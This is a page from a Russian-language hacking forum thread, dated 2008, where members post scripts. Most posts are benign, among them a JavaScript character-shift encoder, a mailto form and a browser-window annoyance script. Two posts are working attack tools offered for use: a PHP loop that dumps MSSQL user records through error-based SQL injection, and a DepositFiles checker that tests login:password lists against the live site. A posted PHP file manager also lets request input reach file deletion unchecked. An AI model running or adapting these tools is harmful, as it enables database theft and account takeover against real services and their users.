ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.09.2008, 19:41
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
кодировщик
Кодировщик
Код:
<SCRIPT LANGUAGE="JavaScript">
<!--
// By PATRICK CLINGER (pat_clinger@hotmail.com)
// Web Site: http://www.proboards.com/
// Script featured on Website Abstraction (http://wsabstract.com)
// Over 400+ free scripts: Wsabstract.com<br>
var letters = 'ЛМНОПрстуфхцчшщьыъэюяАБВГДЕЫЭЮЯкпghijklабвгдежзийКabvwxyzABCDEFef)_ЖЗИЙРСТУФХЦЧШЩЪЬ+|<>?:mnQRSTUЛМНОПрсту~!@лмно#$%^VWXYZ`1234567opGHIJKLu./;'+" "+';'+"'"+'[]MNOP890-='+'\\'+'&*("{},cdqrst'+"\n";
var split = letters.split("");
var num = '';
var c = '';
var encrypted = '';
function encrypt(it){var b = '0';
var chars = it.split("");
while(b<it.length) {
c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = "";
}
if(eval(c+10) >= letters.length){
num = eval(10-(letters.length-c));
encrypted += split[num];
}
else{
num = eval(c+10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;encrypted = '';
}
function decrypt(it){
var b = '0';
var chars = it.split("");
while(b<it.length){c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = "";
}
if(eval(c-10) < 0){
num = eval(letters.length-(10-c));
encrypted += split[num];
}
else
{
num = eval(c-10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;
encrypted = '';
}
// -->
</SCRIPT>
|
|
|
WordPress footer.php decoder |

22.09.2008, 22:09
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
WordPress footer.php decoder
Декодирует footer.php в WordPress. This tool is for decode footer.php in WordPress
http://pashkela.narod.ru/progi/WordPress_footer_decoder.rar
|
|
|

23.09.2008, 00:34
|
|
Познающий
Регистрация: 25.09.2007
Сообщений: 42
Провел на форуме: 217723
Репутация:
22
|
|
Сообщение от Sarkis
Не дает закрвать окно.
PHP код:
<html>
<head>
<title>Press ALT+F4</title>
</head>
<body onunload="goodBye()">
<p align="center">
<b>Yuo cant close your browser window</b>
</p>
<script language="JavaScript">
<!--
function goodBye()
{window.open("Cantclose.htm");}
//-->
</script>
<p align="center">
<b>Try Alt+F4!</b>
</p>
</body>
</html>
баян! читайте на первых страницах...там есть такое.. точно тот же пост...
|
|
|

23.09.2008, 04:50
|
|
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме: 2375039
Репутация:
1160
|
|
nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов
|
|
|
Скрипт Отправки E-mail по списку |

23.09.2008, 22:22
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
Скрипт Отправки E-mail по списку
Скрипт Отправки E-mail по списку
Скрипт надо вставить между <BODY> и </BODY>
Код HTML:
<FORM NAME="mailer" METHOD="post" ACTION="" ENCTYPE="text/plain"
onSubmit="(document.mailer.action += mailtoandsubject)">
<!-- Original: Jeff Kieke -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<TABLE BORDER=0 bgcolor="#CCCCCC">
<TR VALIGN="top">
<TD>Получатель:</TD>
<TD><SELECT NAME="mailtoperson" onChange="msg(this.form)">
<OPTION VALUE="">-- Выбрать --
<OPTION VALUE="person1@yandex.ru">person1@yandex.ru
<OPTION VALUE="person2@yandex.ru">person2@yandex.ru
<OPTION VALUE="person3@yandex.ru">person3@yandex.ru
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Ваше имя:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="name" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Ваш Email:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="email" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Важность:</TD>
<TD>
<SELECT NAME="priority" onChange="msg(this.form)">
<OPTION VALUE="NaN" selected>Невыбрано
<OPTION VALUE="Normal">Обыное
<OPTION VALUE="Urgent">Важное
<OPTION VALUE="No Reply Needed">Не очень важное
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Тема:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="subject" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Сообщение:</TD>
<TD><TEXTAREA NAME="message" COLS=35 ROWS=5 WRAP="virtual" OnChange="msg(this.form)"></TEXTAREA></TD>
</TR>
<TR>
<TD> </TD>
<TD><INPUT TYPE="submit" VALUE="Отправить">
<INPUT TYPE="reset" VALUE="Сброс"></TD>
</TR>
</TABLE>
</FORM>
<SCRIPT LANGUAGE="JavaScript">
function msg() {
document.mailer.action = "mailto:"
mailtoandsubject = ((document.mailer.mailtoperson.options[document.mailer.mailtoperson.selectedIndex].value) + '?subject=' + document.mailer.subject.value);
}
</SCRIPT>
|
|
|

23.09.2008, 23:03
|
|
Познающий
Регистрация: 25.09.2007
Сообщений: 42
Провел на форуме: 217723
Репутация:
22
|
|
Сообщение от DDoSька
nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов
просто ненавижу баянство(кажись нету такого слово =)) )
|
|
|

28.09.2008, 13:16
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
PHP код:
<?php
###########################
# Файл менеджер by Chaak
###########################
$safe = 'C:\\'; //дирректория, куда нельзя дальше соваться =)
function delfolder($folder)
{
if(is_dir($folder))
{
$handle = opendir($folder);
while($subfile = readdir($handle))
{
if($subfile == '.' or $subfile == '..')
continue;
if(is_file($subfile))
unlink("{$folder}/{$subfile}");
else
delfolder("{$folder}/{$subfile}");
}
closedir($handle);
rmdir($folder);
}
else
{
unlink($folder);
}
}
if(isset($_GET['del']))
{
$del = urldecode($_GET['del']);
if(substr($del,0,strlen($safe)) == $safe)
{
if(is_file($del))
{
unlink($del);
header("Location: ".$_GET['location']);
exit();
} elseif(is_dir($del))
{
delfolder($del);
header("Location: ".$_GET['location']);
exit();
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}
if(!isset($_GET['dir']))
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
else
{
$path = urldecode($_GET['dir']);
if(substr($path,0,strlen($safe)) == $safe)
{
if(is_dir($path))
{
$dir = scandir($path);
echo '<table>';
echo "<tr><td>№</td><td>Filename</td><td>Действие</td></tr>";
foreach($dir as $i => $item)
{
if(!($item == '..' || $item == '.'))
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>";
}
else
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>";
}
}
echo '</table>';
} elseif(is_file($path))
{
$file = '';
$fp = fopen($path,'rt');
while(!feof($fp))
{
$file .= fgets($fp,1024);
}
fclose($fp);
htmlspecialchars($file);
echo "<textarea cols='80' rows='35'>$file</textarea>";
echo '<br><a href="javascript:history.back(-1);">Назад</a>';
}
else
{
die('Выбранного файла не существует');
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}
?>
Небольшой файловый менеджер от меня =) писал для развлечения.
Умеет читать/удалять файлы. Очень легко доработать.
|
|
|

03.10.2008, 21:11
|
|
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме: 305110
Репутация:
133
|
|
скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации!
PHP код:
<?
set_time_limit(0);
function send($get_url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get_url);
curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt");
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
return $data = curl_exec($ch);
}
$postfix = 0;
$filename = "base".$postfix.".txt";
$desp = fopen ($filename,"a+");
for ($id=0;$id<30000;$id++){
$get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+where+Id=".$id.")--";
$str=send($get_url);
if (preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {
echo $matches[1];
fputs($desp,$matches[1]);
fputs($desp,"\n");
}
}
fclose($desp);
/*
?>
|
|
|
DepositFiles Accounts Checker |

05.10.2008, 08:44
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме: 3799424
Репутация:
479
|
|
DepositFiles Accounts Checker
вот решил написать чекер акков депозитфайлс.
accounts.txt - файл с акками вида login:рassword
valid.txt - рабочие аккаунты
PHP код:
<?php
<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# ICQ: 79-47-79
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; # Отправляем заголовки
$out .= "Host: depositfiles.com\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite($fp,$out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128); # ответ сервера
}
fclose($fp); # Закрываем сокеты
return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) { #цикл
list($login,$pass) = explode(":",trim($account[$i])); # разбиваем аккаунты на логин и пароль
if (Check($login,$pass)) { # Вызываем функцию проверки аккаунта
echo $login.':'.$pass.'<br />';
flush();
ob_flush();
$fd = fopen($vallist,'a+'); # открываем файл
fputs($fd,$account[$i]); # записываем в файл рабочий акк
fclose($fd); # закрываем файл
++$valid;
}else {++$invalid;}
}
echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>
kaimi спасибо, поправил
Последний раз редактировалось #Wolf#; 30.11.2009 в 12:43..
|
|
|

05.10.2008, 17:31
|
|
Познающий
Регистрация: 05.03.2008
Сообщений: 31
Провел на форуме: 442871
Репутация:
15
|
|
#Wolf# не работает!
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|